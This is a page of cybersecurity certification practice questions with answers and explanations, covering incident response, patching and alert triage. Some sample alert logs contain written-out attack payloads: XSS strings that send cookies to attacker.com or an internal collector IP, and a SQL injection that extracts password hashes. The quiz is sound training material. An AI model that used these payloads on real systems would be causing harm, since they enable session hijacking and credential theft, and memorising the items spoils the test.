Examkin

Security Operations

627 questions

All types627Multiple choice320Multiple select139Matching36Ordering132
Question 521Question →

A security analyst monitoring network security telemetry reviews the following correlated NIDS alert and NetFlow summary:

[ALERT] NIDS: Suspicious Protocol Anomaly Detected
Timestamp: 2026-07-27T14:22:10Z
Sensor ID: NIDS-PERIMETER-01
Source IP: 10.1.50.88 (Internal Workstation)
Destination IP: 203.0.113.195 (External Host)
Protocol: ICMP Type 8 (Echo Request)
Details: ICMP payload size 1480 bytes; Payload Entropy: 7.92 (High); Request Rate: 450/min

NetFlow Summary (10.1.50.88 -> 203.0.113.195):
Bytes Sent: 52,400,000 | Bytes Received: 12,000 | Total Packets: 35,500

Based on the telemetry provided, which of the following represents the primary threat activity occurring and the most appropriate immediate action?

Show answer & explanation

Answer: ICMP tunneling for data exfiltration; immediately isolate host 10.1.50.88 from the network.

Answer

ICMP tunneling for data exfiltration; immediately isolate host 10.1.50.88 from the network.
The correct answer identifies ICMP tunneling and specifies immediate host isolation. High payload entropy (7.92), maximum payload size (1480 bytes), and over 52 MB of outbound data transferred over ICMP Echo Requests are classic indicators of data exfiltration via protocol tunneling. Isolating host 10.1.50.88 stops ongoing exfiltration during incident response containment.

Step-by-Step Solution

1
Analyze the protocol anomalies in the NIDS alert.
Identified ICMP Type 8 traffic with abnormally large payload sizes (1480 bytes), a high request rate (450/min), and near-maximum randomness/entropy (7.92).
Standard ICMP ping packets carry small, deterministic payloads. Encrypted or compressed data encapsulated inside ICMP packets exhibits high entropy and maxed-out frame sizes.
2
Correlate packet inspection data with NetFlow volumetric telemetry.
Observed severe volume asymmetry: 52.4 MB sent outbound versus 12 KB received inbound across 35,500 ICMP packets.
Large outbound byte volume compared to minimal return bytes over a control protocol confirms data leaving the network (exfiltration) rather than simple ping sweeping or C2 command reception.
3
Determine the appropriate immediate containment response.
Host isolation of the compromised internal IP (10.1.50.88).
Containment must occur at the source system to stop active data exfiltration before performing detailed root-cause investigation or remediation.

Key Concept

Identifying covert ICMP data exfiltration through protocol anomaly analysis and NetFlow volumetric correlation.
Question 522Question →

A security operations team is implementing a Just-In-Time (JIT) Privileged Access Management (PAM) workflow to enforce least privilege for emergency system administration. Place the operational steps of the JIT access lifecycle in the correct sequential order from initial request submission to final audit completion.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequential order for the JIT PAM access lifecycle is: 1) Submission of a time-bound request with justification, 2) Policy evaluation and approval routing, 3) Provisioning of ephemeral credentials and session brokering, 4) Execution of administrative duties within the active session window, and 5) Session termination, credential rotation, and audit log archiving upon expiration.
The proper operational sequence follows standard IAM lifecycle controls: submitting a justified request, obtaining policy authorization, issuing ephemeral credentials with monitoring, performing work within the window, and automatically revoking access while archiving audit logs upon expiration.

Step-by-Step Solution

1
Identify the request initiation step
The process starts when an administrator requests temporary access with ticket context.
JIT access relies on demand-based request triggers rather than static standing privileges.
2
Determine the authorization and governance step
The PAM system verifies rules and obtains necessary approvals.
Authorization must precede credential issuance to enforce identity policies.
3
Identify credential issuance and session setup
Ephemeral credentials or proxy sessions are created with keystroke and session logging.
Brokered access prevents administrators from knowing or storing static root secrets.
4
Determine the task execution step
The user completes maintenance within the active access window.
Administrative tasks must occur inside the securely brokered session framework.
5
Identify session closure and log archiving
Access is automatically revoked, temporary credentials are invalidated, and audit logs are saved.
Automated teardown prevents privilege creep and lingering unauthorized access.

Key Concept

Just-In-Time (JIT) Privileged Access Management (PAM) Operational Sequence
Question 523Question →

A network security analyst reviews an alert generated by an inline Network Intrusion Prevention System (NIPS) deployed at the enterprise boundary. The alert log displays the following HTTP request payload captured during an inbound connection:

`GET /profile.php?user=<script>document.location='http://attacker.com/steal.cgi?cookie='+document.cookie</script> HTTP/1.1`

Immediately following this log entry, the NIPS triggered an automated active response that dropped the TCP stream and blocked the remote source IP address for 60 minutes. Which of the following statements correctly identifies the vector of this attack and characterizes the primary security control function demonstrated by the NIPS?

Show answer & explanation

Answer: The payload represents a Cross-Site Scripting (XSS) attack vector, and the NIPS executed a preventive control by stopping the malicious traffic inline.

Answer

The payload represents a Cross-Site Scripting (XSS) attack vector, and the NIPS executed a preventive control by stopping the malicious traffic inline.
The correct response identifies the payload containing JavaScript tags (`<script>`) as a Cross-Site Scripting (XSS) attempt designed to steal session cookies. Because the inline NIPS actively dropped the packet stream and blocked the source IP, it functioned as a preventive control rather than merely detecting or logging the event.

Step-by-Step Solution

1
Analyze the request payload in the NIPS log entry.
The payload `<script>document.location=...</script>` attempts client-side JavaScript execution, characteristic of Cross-Site Scripting (XSS).
Identifying HTML script tags attempting cookie exfiltration differentiates XSS from database manipulation techniques like SQL Injection.
2
Evaluate the control action executed by the NIPS.
The NIPS dropped the TCP stream and blocked the remote source IP address inline.
Active mechanisms that interdict and block malicious traffic before reaching the destination perform a preventive security function.

Key Concept

Network Intrusion Prevention Systems (NIPS) provide active inline prevention against application-layer attacks like Cross-Site Scripting (XSS).
Estimated Time:1m 30s
Question 524Question →

During routine monitoring, a Security Operations Center (SOC) team detects an active Command and Control (C2) session originating from an internal workstation following the execution of an unauthorized payload. Security logs indicate the compromised host is attempting lateral reconnaissance against neighboring internal subnets. According to standard incident response frameworks, which of the following actions should the incident response team perform FIRST?

Show answer & explanation

Answer: Isolate the compromised workstation from the network using endpoint containment controls

Answer

Isolate the compromised workstation from the network using endpoint containment controls
In standard incident response frameworks (such as NIST SP 800-61), once an incident is identified, the immediate priority is Containment. Isolating the compromised host from the network stops active Command and Control (C2) communication and prevents lateral movement to other internal systems before eradication and recovery steps take place.

Step-by-Step Solution

1
Determine the current stage of the incident response lifecycle
The incident has been confirmed and active threat activity (C2 traffic and lateral movement) is identified.
Identifying the current phase determines the next mandatory action under NIST SP 800-61 frameworks.
2
Identify the immediate next lifecycle phase
The phase directly following Identification is Containment.
Containment limits the scope of damage and prevents further propagation of the compromise.
3
Select the appropriate containment procedure
Execute host-level isolation of the compromised endpoint.
Disconnecting the endpoint from the network isolates the threat without destroying volatile memory needed for evidence collection.

Key Concept

Incident Response Process and Playbooks - Containment Phase Execution
Question 525Question →

A security analyst must assign the appropriate scanning methodology to four distinct security assessment requirements within an enterprise organization. Match each security assessment requirement with the most appropriate vulnerability scanning methodology.

Click a left item, then click its matching right item

Items

Evaluating external network perimeter exposure to internet-facing probes without utilizing system privileges.
Auditing local software inventory, patch levels, and internal registry configurations with minimal network bandwidth usage.
Testing network defensive security control responses by intentionally attempting known exploit payloads against dedicated sandbox targets.
Verifying operating system hardening configurations against established CIS benchmark standards using valid administrative domain accounts.

Matches

Show answer & explanation

Answer

External perimeter evaluation matches External non-credentialed network scan; Local inventory audit with low bandwidth matches Host-based agent assessment; Active payload testing matches Intrusive vulnerability scan; CIS benchmark hardening audit matches Credentialed compliance scan.
Each vulnerability scanning approach targets specific assessment goals: external unauthenticated scans measure public exposure, host agents gather local patch data with minimal network footprint, intrusive scans test active exploitability, and credentialed compliance scans verify configuration baselines against security standards.

Step-by-Step Solution

1
Analyze the requirement for perimeter exposure without system privileges.
Identify that testing from outside without privileges requires an external non-credentialed network scan.
Non-credentialed external scans simulate an unauthenticated remote attacker evaluating the public attack surface.
2
Analyze the requirement for internal registry and patch auditing with minimal network bandwidth usage.
Identify that host-based agents collect configuration and patch data locally without sending network probes.
Agent-based scanning executes directly on the host operating system, reducing network traffic and capturing data on disconnected endpoints.
3
Analyze the requirement for testing defensive controls with exploit payloads.
Identify that active exploit attempts characterize intrusive vulnerability scanning.
Intrusive scans go beyond identification by attempting to verify exploitability, which can impact target stability.
4
Analyze the requirement for checking CIS hardening baselines using domain accounts.
Identify that credentialed compliance scans use elevated accounts to check security baseline settings.
Reading deep system configurations and registry settings requires administrative privileges.

Key Concept

Vulnerability Scanning Methodologies and Assessment Configurations
Question 526Question →

A security analyst is configuring an automated SOAR workflow to respond to account compromise indicators stemming from impossible travel alerts. Which of the following automated actions should be incorporated into the playbook to ensure immediate identity containment while avoiding unintended enterprise disruptions? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Revoke all active OAuth and session tokens for the impacted user account across identity providers.; Enforce mandatory step-up multi-factor authentication (MFA) on all subsequent login requests for the user.

Answer

Revoking active OAuth and session tokens across identity providers and enforcing mandatory step-up multi-factor authentication (MFA) on subsequent logins.
Revoking active session tokens immediately terminates unauthorized access, while enforcing step-up multi-factor authentication prevents secondary compromised logins. These target the identity layer safely without disrupting surrounding infrastructure.

Step-by-Step Solution

1
Evaluate containment actions suitable for automated identity compromise response.
Identify actions that target identity sessions directly without impacting shared identity infrastructure.
SOAR playbooks must balance rapid response with business continuity guardrails.
2
Select immediate session revocation and mandatory step-up MFA challenges.
Existing sessions are immediately invalidated, and new sessions are blocked without secondary verification.
Combining token revocation with step-up MFA neutralizes active access and prevents re-entry.
3
Reject high-risk infrastructure isolation and ineffective access control adjustments.
Avoid isolating core domain controllers or altering RBAC rights while sessions remain open.
Host isolation on core infrastructure causes service outages, and authorization modifications do not kill existing session tokens.

Key Concept

SOAR Identity Containment Playbooks and Session Revocation
Question 527Question →

Following a high-severity alert indicating a web shell has been uploaded to a public-facing corporate web server, an incident response team is deployed to handle the breach. Place the following incident response actions in the correct sequential order from earliest to latest according to the standard NIST Incident Response Lifecycle.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence follows the standard NIST Incident Response Lifecycle: 1. Analyze web server access logs and system memory, 2. Isolate the compromised web server from the internal network, 3. Remove the web shell backdoors and patch the vulnerability, 4. Restore the web application from a clean backup image and return it to production, 5. Conduct a post-incident meeting to document findings and update WAF rules.
The standard NIST incident response methodology strictly mandates moving through Detection & Analysis, Containment, Eradication, Recovery, and Post-Incident Activity. First analyzing system memory and logs allows responders to understand the threat. Network isolation contains the incident from spreading. Eradicating the web shell and patching the vulnerability removes the threat. Restoring from a verified clean backup completes recovery. Finally, conducting a post-mortem review fulfills post-incident obligations.

Step-by-Step Solution

1
Scope and analyze the threat (Detection & Analysis)
Identified the web shell location and scope of access.
You must first analyze and understand the extent of an active breach before taking disruptive containment steps.
2
Isolate the affected system (Containment)
Prevented lateral movement across the internal enterprise network.
Containment limits operational damage while preserving volatile data for further analysis.
3
Eliminate the threat and vulnerability (Eradication)
Removed malicious web shell files and remediated the root application flaw.
Eradication ensures the attacker cannot maintain persistence once the system is re-exposed.
4
Restore system operations (Recovery)
Web server restored from clean state and validated in production.
Recovery tests and restores operational services safely.
5
Conduct post-incident activities (Post-Incident / Lessons Learned)
Playbooks updated and Web Application Firewall rules hardened.
Lessons learned feed back into the preparation phase to prevent future occurrences.

Key Concept

NIST Incident Response Lifecycle (Detection & Analysis → Containment → Eradication → Recovery → Post-Incident Activity)
Question 528Question →

A security analyst monitoring enterprise SIEM alerts identifies an anomalous HTTP payload captured by an inline Network Intrusion Detection System (NIDS) sensor placed in front of an internal application gateway:

POST /api/v2/products/search HTTP/1.1
Host: portal.internal.corp
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

item_id=55+UNION+SELECT+null,username,password_hash+FROM+users--

Which of the following correctly identifies the root cause of this alert and the appropriate technical mitigation?

Show answer & explanation

Answer: The alert indicates a SQL injection attack targeting the backend database; the vulnerability should be mitigated using parameterized queries or web application firewall filtering.

Answer

The alert indicates a SQL injection attack targeting the backend database; the vulnerability should be mitigated using parameterized queries or web application firewall filtering.
The captured NIDS payload shows an attacker passing SQL commands (`UNION SELECT null,username,password_hash FROM users--`) inside the `item_id` request parameter. This pattern explicitly targets backend database management systems via SQL Injection. Proper remediation requires enforcing parameterized queries (prepared statements) in application code and deploying Web Application Firewall (WAF) inspection rules.

Step-by-Step Solution

1
Analyze the log payload in the NIDS alert stem.
Identified the SQL syntax `UNION SELECT null,username,password_hash FROM users--` injected into the `item_id` parameter.
Recognizing SQL statements within user input parameters isolates the attack vector to application-layer database manipulation.
2
Differentiate between web application attack types.
Confirmed the attack is SQL Injection (SQLi) rather than Cross-Site Scripting (XSS) or a network-layer memory buffer overflow.
SQLi attempts to read or modify database content, while XSS executes client-side scripts in the victim browser.
3
Determine the effective security control for mitigation.
Selected parameterized queries (prepared statements) at the application code level and Web Application Firewall (WAF) filtering at the network monitoring level.
Parameterized queries separate SQL code from user data, preventing unauthorized payload execution, while WAFs inspect layer-7 application traffic.

Key Concept

Network Intrusion Detection Log Analysis and SQL Injection Mitigation
Estimated Time:1m 30s
Question 529Question →

An organization manages a fleet of remote workstations that frequently drift from the established secure configuration baseline due to localized user modifications made while devices are offline. The security team requires a technical control that continuously audits system settings and automatically restores non-compliant configurations back to the approved baseline whenever devices re-establish network connectivity. Which of the following mechanisms best fulfills this requirement?

Show answer & explanation

Answer: Automated configuration management agents enforcing desired-state policies

Answer

Automated configuration management agents enforcing desired-state policies
Automated configuration management software utilizing desired-state enforcement continuously monitors endpoint operating systems and applications against established secure baseline templates. When a system drifts from its designated baseline standard due to local user edits or unapproved software changes, the agent automatically reapplies the baseline settings as soon as policy synchronization occurs.

Step-by-Step Solution

1
Analyze the operational requirements
The requirement calls for a system that actively detects configuration drift on remote endpoints and automatically reverts settings to match the baseline upon reconnecting.
Offline systems modified locally require persistent agent-driven policy enforcement that triggers remediation when connectivity allows.
2
Evaluate configuration management control capabilities
Automated configuration management frameworks (such as Desired State Configuration or policy enforcement agents) continuously verify endpoint settings against defined baseline standards and auto-apply corrective changes.
Desired-state configuration models directly address unauthorized baseline drift through automated restoration.

Key Concept

Configuration Baseline Enforcement and Drift Remediation
Estimated Time:1m 30s
Question 530Question →

An enterprise security operations team is enhancing the security posture of an automated CI/CD deployment pipeline for containerized microservices. To prevent configuration drift from the established hardening baseline and guarantee timely vulnerability remediation across deployed container hosts, which of the following operational practices should be implemented? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Rebuild and redeploy container base images whenever security patches are published for underlying OS dependencies; Integrate automated configuration baseline scanning into the build pipeline to reject non-compliant image definitions

Answer

Rebuilding and redeploying container base images when OS patches are released, along with integrating automated baseline compliance scanning into the deployment pipeline, ensures effective patch and configuration management.
In modern containerized deployments, patch management relies on updating the underlying base image and redeploying containers (immutable infrastructure) rather than patching live instances. Simultaneously, automated baseline scanning during the pipeline execution ensures that configuration standards are verified before deployment, effectively preventing configuration drift.

Step-by-Step Solution

1
Analyze container patch management requirements in modern CI/CD pipelines
Recognize that containerized applications utilize immutable deployment patterns, requiring base image updates rather than in-place server patching
Direct patching of running containers leads to configuration drift and inconsistent environments across microservices
2
Evaluate configuration drift prevention mechanisms
Identify automated image configuration scanning as the preventive mechanism to enforce hardening baselines prior to deployment
Automated pipeline checks prevent non-compliant or drift-susceptible container definitions from reaching production environments

Key Concept

Immutable Container Patching and Pipeline Configuration Auditing
Question 531Question →

A security analyst receives a high-priority alert indicating suspicious data transfers originating from an internal workstation. Arrange the network security monitoring and response actions in the correct sequential order from initial alert detection to detection rule optimization.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequential order begins with triaging the initial NIDS alert, followed by cross-referencing NetFlow and firewall logs, performing deep packet inspection on PCAPs, applying NAC network isolation policies, and finally updating SIEM correlation rules and NIDS signatures.
Effective network security monitoring follows a structured incident response sequence. Response starts at initial alert triage, proceeds through flow correlation to verify connection validity, conducts deep packet inspection for payload analysis, executes containment via Network Access Control to halt threat propagation, and finishes by refining detection rules in the SIEM and NIDS.

Step-by-Step Solution

1
Alert Triage
Identified suspicious alert metadata from the perimeter NIDS sensor.
The analyst must first examine the initial trigger to understand the target host and alert classification.
2
Telemetry Correlation
Confirmed active session duration and transfer volume via NetFlow and firewall log entries.
Before performing resource-intensive analysis, flow telemetry must confirm that actual traffic traversed the network.
3
Packet Payload Inspection
Extracted malicious command-and-control artifacts and payload signatures from PCAP data.
Inspecting raw frame contents provides concrete evidence of compromise needed to justify containment.
4
Host Containment
Isolated the originating workstation from the broader enterprise network using NAC.
Containing the network segment stops data exfiltration and lateral movement while preserving evidence.
5
Rule Optimization and Feedback
Tuned SIEM correlation rules and updated intrusion signatures with newly identified IoCs.
Post-incident detection rule adjustments improve future monitoring speed and reduce false positives.

Key Concept

Network Security Monitoring Incident Handling Workflow
Question 532Question →

A network security analyst reviews a SIEM alert containing the following NIDS log entry captured from an internal network monitoring sensor:

[2026-07-27 11:42:19 UTC] NIDS_ALERT
Sensor: NIDS-VPC-EAST-01
Protocol: HTTP/1.1
Src_IP: 10.10.4.88:51204
Dst_IP: 172.16.50.12:80
Request: GET /portal/search.php?q=<script>document.location='http://192.168.1.50/collector.php?cookie='+document.cookie;</script> HTTP/1.1
Action: Flagged (Alert Only)

Which of the following best describes the type of attack captured in this log snippet and its intended objective?

Show answer & explanation

Answer: The alert indicates a Cross-Site Scripting (XSS) attack attempting to execute malicious script code in the victim's browser to exfiltrate session cookies.

Answer

The alert indicates a Cross-Site Scripting (XSS) attack attempting to execute malicious script code in the victim's browser to exfiltrate session cookies.
The correct answer identifies the HTTP parameter containing `<script>` tags as a Cross-Site Scripting (XSS) attempt. The payload attempts to read the victim browser's `document.cookie` object and transmit it to an external IP address, which is a classic indicator of an XSS session hijacking attack.

Step-by-Step Solution

1
Analyze the HTTP GET request string in the NIDS alert log snippet
Identified the payload `<script>document.location='http://192.168.1.50/collector.php?cookie='+document.cookie;</script>` passed into parameter `q`.
Determining the payload syntax reveals the vulnerability targeted by the attacker.
2
Differentiate between client-side and server-side application payload behaviors
The presence of JavaScript commands referencing browser DOM elements (`document.cookie`, `document.location`) confirms client-side execution (XSS) rather than database manipulation (SQLi).
XSS exploits trust that a user's browser has in a web application to steal sensitive tokens or session state.
3
Evaluate the analyst's interpretation against standard security monitoring principles
Confirm that the log captures an unmitigated XSS attempt flagged by a detective NIDS sensor.
Accurate alert classification allows analysts to trigger appropriate incident response playbooks, such as enforcing Web Application Firewall (WAF) rules or input sanitization.

Key Concept

Identifying Cross-Site Scripting (XSS) payloads in NIDS/SIEM log telemetry
Estimated Time:1m 30s
Question 533Question →

During an internal vulnerability assessment, an unauthenticated network scanner flags several Linux production web servers as high-risk due to an outdated Apache version disclosed in the HTTP response headers. The Linux system administrators state that security patches were backported by the distribution vendor, meaning the vulnerabilities were remediated despite the version string remaining unchanged. Which of the following actions is the most appropriate next step for the security analyst to accurately verify the true vulnerability status of these servers?

Show answer & explanation

Answer: Perform a credentialed vulnerability scan to inspect local package management metadata directly on the target hosts.

Answer

Perform a credentialed vulnerability scan to inspect local package management metadata directly on the target hosts.
Performing a credentialed scan allows the vulnerability scanner to authenticate to the Linux host and query the local package manager (e.g., rpm or dpkg). This directly inspects the installed package patch history and confirms backported security fixes that unauthenticated network banner scans cannot detect, accurately resolving false positives.

Step-by-Step Solution

1
Analyze the cause of the potential false positive.
Unauthenticated (non-credentialed) scans rely on network banner grabbing, which reads software version strings exposed over the network. Linux vendors frequently backport security fixes without incrementing major version numbers, causing banner grabs to report false positives.
Understanding scanner limitations prevents unnecessary emergency patching or operational disruptions.
2
Select an assessment method capable of inspecting internal host package states.
A credentialed vulnerability scan logs into the target system using provided administrative credentials to check installed software package versions via the host operating system's package manager.
Host-level inspection provides precise diagnostic data that overrides external network banner assumptions.
3
Verify the true vulnerability status.
The credentialed scan confirms that the vendor backport patch is active, validating the false positive status of the initial unauthenticated scan.
This allows the security team to document the finding correctly without applying unnecessary network blocks.

Key Concept

Credentialed vs. Non-Credentialed Vulnerability Scanning (Backported Patches)
Estimated Time:1m 30s
Question 534Question →

During an ongoing security investigation into an automated build system, a security analyst discovers that an attacker compromised a CI/CD service account's API token and created unauthorized secondary deployment keys to maintain persistent access. The incident response team is currently executing the Containment phase of the NIST incident response lifecycle. Which of the following technical actions should the team perform immediately as part of containment? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Revoke the compromised API token and immediately invalidate all secondary deployment keys created by the attacker.; Apply temporary network access control rules to restrict API gateway endpoints strictly to trusted internal management subnets.

Answer

The correct containment actions are revoking the compromised API token along with any secondary keys generated by the attacker, and applying temporary network access control rules to restrict API gateway endpoints strictly to trusted internal subnets.
During the Containment phase of an incident response process, the priority is to isolate affected systems and revoke compromised access vectors to prevent further damage. Revoking the compromised API token and secondary keys directly terminates the attacker's administrative access. Restricting API gateway ingress via network access control rules prevents unauthorized external connections. Both actions isolate the impact while preserving system state for ongoing forensic analysis.

Step-by-Step Solution

1
Identify the active incident response phase and objective.
The scenario specifies the team is in the Containment phase of the NIST Incident Response Framework, focusing on limiting incident damage and scope.
Containment measures prevent further unauthorized access while allowing forensic analysis to continue safely.
2
Evaluate identity and credential containment options.
Disabling compromised API credentials and removing secondary persistence keys immediately revokes the attacker's authorization to access API resources.
Credential revocation stops ongoing malicious API operations without wiping forensic state.
3
Evaluate network and infrastructure isolation containment options.
Applying restrictive network rules at the API gateway blocks external access vectors utilized by the threat actor.
Network isolation isolates access vectors to prevent additional remote unauthorized API calls.

Key Concept

Incident Response Lifecycle - Containment Phase Actions
Question 535Question →

A security administrator must deploy a critical security patch across enterprise production application servers following standard change control and patch management practices. Place the following operational lifecycle steps in the correct sequential order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence begins with non-production sandbox testing, followed by submitting a formal change request to the Change Advisory Board, deploying to a pilot/staging fleet, executing the full production deployment during a scheduled maintenance window, and finally auditing compliance to update the configuration baseline.
Structured patch and configuration management follows a strict procedural lifecycle: non-production sandbox testing, formal Change Advisory Board authorization, staged pilot deployment, enterprise production rollout, and final post-installation verification auditing.

Step-by-Step Solution

1
Conduct initial functional and security testing in an isolated sandbox environment.
Identifies software conflicts or system crashes without impacting live operations.
Patches must never be applied to production or submitted for formal change approval without preliminary compatibility validation.
2
Submit a change request to the Change Advisory Board (CAB).
Obtains formal management approval, documents risks, and establishes backout plans.
Enterprise change management governance requires documented authorization before deploying changes to live operational systems.
3
Roll out the patch to a pilot or staging group.
Verifies patch stability under real-world conditions on a small subset of systems.
Staging deployments mitigate enterprise-wide outage risks by detecting unexpected edge-case issues early.
4
Perform full production deployment during an approved maintenance window.
Applies the patch across all target enterprise assets.
Deployment timing must align with authorized maintenance windows to minimize disruption to business operations.
5
Conduct automated compliance auditing and update configuration baselines.
Confirms successful patch application and establishes a new hardened system baseline.
Post-patch verification ensures no systems were missed and updates security records to prevent false drift alerts.

Key Concept

Standard Patch Management Lifecycle and Change Governance
Question 536Question →

During operational threat hunting, a security analyst detects an internal workstation communicating with an unrecognized external IP address using DNS over HTTPS (DoH). Detailed inspection of the query logs reveals that sensitive file paths and directory metadata are being systematically encoded into subdomains and sent outside the enterprise network. According to standard incident response lifecycle guidelines (NIST SP 800-61), which of the following actions should the incident response team execute FIRST upon confirming this activity?

Show answer & explanation

Answer: Isolate the workstation from the network and block the external destination IP address.

Answer

Isolate the workstation from the network and block the external destination IP address.
According to the NIST Incident Response Framework, once an incident involves active data exfiltration, the team must prioritize Containment. Isolating the impacted workstation and restricting destination communication prevents further loss of confidential data while maintaining the system state for forensic investigation.

Step-by-Step Solution

1
Determine current incident lifecycle stage
The incident has been verified during the Identification phase as an active data exfiltration breach.
NIST SP 800-61 dictates that following identification, responders must prioritize Containment to prevent further data loss.
2
Select the appropriate Containment action
Disconnecting the host severs external C2/exfiltration channels while preserving volatile memory state for digital forensics.
Host isolation stops the active exfiltration vector without prematurely altering system artifacts needed for root-cause analysis.

Key Concept

Containment Phase Actions in Incident Response Playbooks
Question 537Question →

A security operations team is configuring an internal vulnerability assessment for a critical database cluster. During initial test runs, network-based scans produced incomplete results because inline Network Intrusion Prevention System (NIPS) appliances dropped scanning probes after flagging them as port scanning attacks. Which of the following approaches should the team implement to ensure comprehensive vulnerability visibility without triggering network traffic blocking? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploy credentialed host-based vulnerability agents directly on the target cluster nodes.; Configure NIPS bypass rules for the dedicated vulnerability scanner IP address and apply scan throttling.

Answer

The correct approaches are to deploy credentialed host-based vulnerability agents directly on the cluster nodes and to configure NIPS bypass rules for the scanner IP address along with scan throttling.
Deploying host-based credentialed agents allows local auditing of installed patches and configurations without generating high-volume network probes that trigger inline IPS drops. Additionally, setting up IPS allowlist rules for the designated scanner IP address while enabling scan throttling ensures network probe traffic is authorized and does not disrupt network performance.

Step-by-Step Solution

1
Identify the primary cause of scan failure.
The NIPS drops probe packets due to detecting high-volume network scanning signatures.
Inline network security appliances misidentify automated scanner traffic as malicious port scanning activity.
2
Evaluate host-based local assessment solutions.
Deploying host-based agents enables local inventory and patch audits.
Agent-based scanning inspects system state locally, eliminating heavy network probe traffic and bypassing network IPS inspection.
3
Evaluate network-based scanner adjustment techniques.
Allowlisting the scanner IP on NIPS and throttling request rates allows network probes through cleanly.
NIPS bypass rules prevent packet dropping for authorized scanner IPs, while rate throttling avoids network overload.

Key Concept

Vulnerability Scanner Configuration and Intrusion Defense Interoperability
Question 538Question →

A security analyst investigating enterprise Network Security Monitoring (NSM) alerts receives a notification from a Network Traffic Analysis (NTA) sensor. The alert indicates an unusual volume of outbound encrypted SSH traffic on port 22 originating from an internal corporate workstation toward an unfamiliar external IP address during non-business hours. Which of the following actions should the analyst perform as initial investigation and containment steps? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Cross-reference endpoint detection logs on the workstation to identify the local process and user context associated with the outbound SSH connections.; Temporarily isolate the workstation from the internal network to prevent potential unauthorized data exfiltration.

Answer

The analyst should check endpoint detection logs to verify the initiating process and temporarily isolate the workstation from the network to prevent data exfiltration.
Verifying host endpoint logs establishes whether an unauthorized process created the SSH tunnel, while isolating the workstation from the network halts active data transfer without altering volatile system state.

Step-by-Step Solution

1
Correlate NTA network alerts with host-level EDR logs
Identifies the executable, parent process, and user credentials responsible for initiating the outbound SSH connection.
Validates whether the alert represents a legitimate administrative activity or a malicious tunnel.
2
Apply network isolation controls to the affected workstation
Disconnects the host from the internal network while keeping host processes intact for forensic acquisition.
Prevents potential exfiltration of sensitive data across the unauthorized network path.

Key Concept

Network traffic anomaly triage and initial incident containment.
Question 539Question →

A security operations center analyst receives a high-severity alert from a network security monitoring system watching a dedicated deception host (honeypot) located inside a monitored subnet segment. The alert logs multiple inbound connection attempts on TCP port 22 originating from an external IP address. The analyst immediately submits an emergency change request to reconfigure the honeypot host's local firewall to block port 22 incoming traffic to mitigate the risk of compromise. Which of the following best evaluates the analyst's action?

Show answer & explanation

Answer: The analyst's action is flawed because honeypots are designed to attract and observe unauthorized activity, and blocking traffic prevents intelligence gathering.

Answer

The analyst's action is flawed because honeypots are designed to attract and observe unauthorized activity, and blocking traffic prevents intelligence gathering.
The correct answer highlights that a honeypot is a deception control specifically built to attract unauthorized network interactions to study adversary tactics, techniques, and procedures (TTPs). Applying inline block rules directly on the honeypot prevents analysts from gathering security intelligence and defeats the system's purpose.

Step-by-Step Solution

1
Analyze the function of the target security asset mentioned in the monitoring alert.
The target asset is identified as a honeypot (deception host) designed specifically to draw attack traffic into an isolated environment.
Understanding the baseline purpose of the monitored system is essential for proper incident response and alert triage.
2
Evaluate the analyst's proposed remediation action against security monitoring goals.
Blocking port 22 traffic on the honeypot prevents the system from fulfilling its purpose of gathering threat intelligence and observing attack tactics.
Honeypots rely on accepting unauthorized connections in a controlled environment to generate high-fidelity alerts and telemetry.
3
Select the option that correctly identifies the conceptual flaw in the analyst's response.
Recognizing that honeypot controls are intended for detection and intelligence rather than inline prevention leads to the correct option.
Modifying a honeypot to block scans disrupts network security monitoring and intelligence operations.

Key Concept

Honeypot Alerting and Deception Technology Monitoring
Estimated Time:1m 30s
Question 540Question →

A financial enterprise operates a high-frequency trading platform with continuous uptime requirements. A vendor releases a critical security patch addressing an unauthenticated remote code execution flaw in the underlying operating system. The security team must address this threat across all host instances while ensuring system stability and compliance with strict service level agreement (SLA) commitments. Which of the following patch management strategies best balances rapid threat mitigation with continuous operational availability?

Show answer & explanation

Answer: Implement a canary deployment in a representative staging environment, validate stability through automated regression testing, and execute a phased rolling update across production nodes.

Answer

Implement a canary deployment in a representative staging environment, validate stability through automated regression testing, and execute a phased rolling update across production nodes.
Testing patches in a staging environment prior to initiating a canary release and rolling updates ensures software stability, verifies compatibility, and maintains high availability SLAs during patch deployment.

Step-by-Step Solution

1
Analyze the operational context and security requirement.
Identified the need to remediate a critical remote code execution vulnerability on high-availability hosts without breaching uptime SLAs.
Direct production patching without pre-deployment testing risks widespread system instability.
2
Evaluate deployment strategies for safety and continuous service.
Staging validation combined with canary testing and rolling updates isolates potential failures while maintaining operational uptime.
Rolling updates apply changes incrementally across host groups, ensuring remaining nodes continue handling live traffic.

Key Concept

Staged Patch Deployment and Rolling Update Strategies
Estimated Time:1m 30s
PreviousPage 27 / 32Next
Security Operations Practice Questions — CompTIA Security+ — Page 27 | Examkin